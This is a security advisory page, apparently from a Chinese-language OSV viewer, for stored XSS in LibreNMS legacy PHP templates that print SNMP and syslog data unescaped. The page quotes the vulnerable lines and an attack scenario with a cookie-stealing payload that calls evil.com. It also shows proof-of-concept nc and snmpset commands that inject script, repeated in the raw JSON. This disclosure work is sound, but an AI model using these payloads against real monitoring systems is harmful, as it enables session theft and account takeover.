GHSA-7W8C-QGXG-M7JX高危已审查

LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates

OSV 1.4.0 · github-reviewed · 修改于 2026-08-27 02:05

发布时间

2026-08-27 02:05

GitHub 审查时间

2026-08-27 02:05

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/08/GHSA-7w8c-qgxg-m7jx/GHSA-7w8c-qgxg-m7jx.json

公告说明

Summary

Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.

Vulnerable Code

Location 1: Syslog `program` field (clearest instance)

File: includes/html/print-syslog.inc.php:11,13

$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';

The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.

Location 2: Alert details `ifAlias` (highest impact — main alerts page)

File: includes/html/functions.inc.php:607

$fault_detail .= $tmp_alerts['ifAlias'] . '; ';

The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).

Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`

File: includes/html/pages/device/health/mempool.inc.php:38

echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";

File: includes/html/pages/device/health/storage.inc.php:27

echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";

File: includes/html/pages/device/health/sensors.inc.php:29

echo "<h3 class='panel-title'>$sensor_descr ...";

All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.

Location 4: Pseudowires `ifAlias`

File: includes/html/pages/pseudowires.inc.php:76

echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';

Location 5: VRF page `ifAlias`

File: includes/html/pages/routing/vrf.inc.php:165

echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';

Attacker-controlled SNMP device/syslog source
  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
  → OR syslog receiver stores program field in syslog table
  → Authenticated user views alerts/health/syslog page
  → Legacy PHP template echoes raw value into HTML
  → XSS executes in victim's browser session

Attacker compromises or controls a network device monitored by LibreNMS
Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table
When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page

Syslog vector (simplest)

# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514

# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle

Contrast with Properly Escaped Code

Newer Blade templates and some legacy code properly escape SNMP data:

includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware
app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias
app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message
All Blade templates use {{ }} auto-escaping

The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.

受影响的软件包

Packagist

librenms/librenms

ECOSYSTEM

引入0修复26.5.0

标识信息

别名 / CVE

无

CWE

CWE-79

软件生态

Packagist

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

原始 OSV JSON

{
  "id": "GHSA-7w8c-qgxg-m7jx",
  "aliases": [],
  "details": "## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact — main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts['ifAlias'] . '; ';\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"<h3 class='panel-title'>{$mempool->mempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"<h3 class='panel-title'>{$drive['storage_descr']} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"<h3 class='panel-title'>$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"<tr ...><td colspan=2>\" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"<div style='font-size: 9px;'>\" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n  → OR syslog receiver stores program field in syslog table\n  → Authenticated user views alerts/health/syslog page\n  → Legacy PHP template echoes raw value into HTML\n  → XSS executes in victim's browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror=\"fetch('https://evil.com/'+document.cookie)\">`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.",
  "summary": "LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.5.0"
            }
          ]
        }
      ],
      "package": {
        "name": "librenms/librenms",
        "ecosystem": "Packagist"
      }
    }
  ],
  "modified": "2026-08-26T18:05:46Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
    }
  ],
  "published": "2026-08-26T18:05:46Z",
  "references": [
    {
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx",
      "type": "WEB"
    },
    {
      "url": "https://github.com/librenms/librenms/pull/19660",
      "type": "WEB"
    },
    {
      "url": "https://github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b",
      "type": "WEB"
    },
    {
      "url": "https://github.com/librenms/librenms",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/librenms/librenms/releases/tag/26.5.0",
      "type": "WEB"
    },
    {
      "url": "https://github.com/librenms/librenms/releases/tag/26.8.1",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-08-26T18:05:46Z"
  }
}

LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates

Summary

Vulnerable Code

Location 1: Syslog program field (clearest instance)

Location 2: Alert details ifAlias (highest impact — main alerts page)

Location 3: Health pages — mempool_descr, storage_descr, sensor_descr

Location 4: Pseudowires ifAlias

Location 5: VRF page ifAlias

Data Flow

Attack Scenario

PoC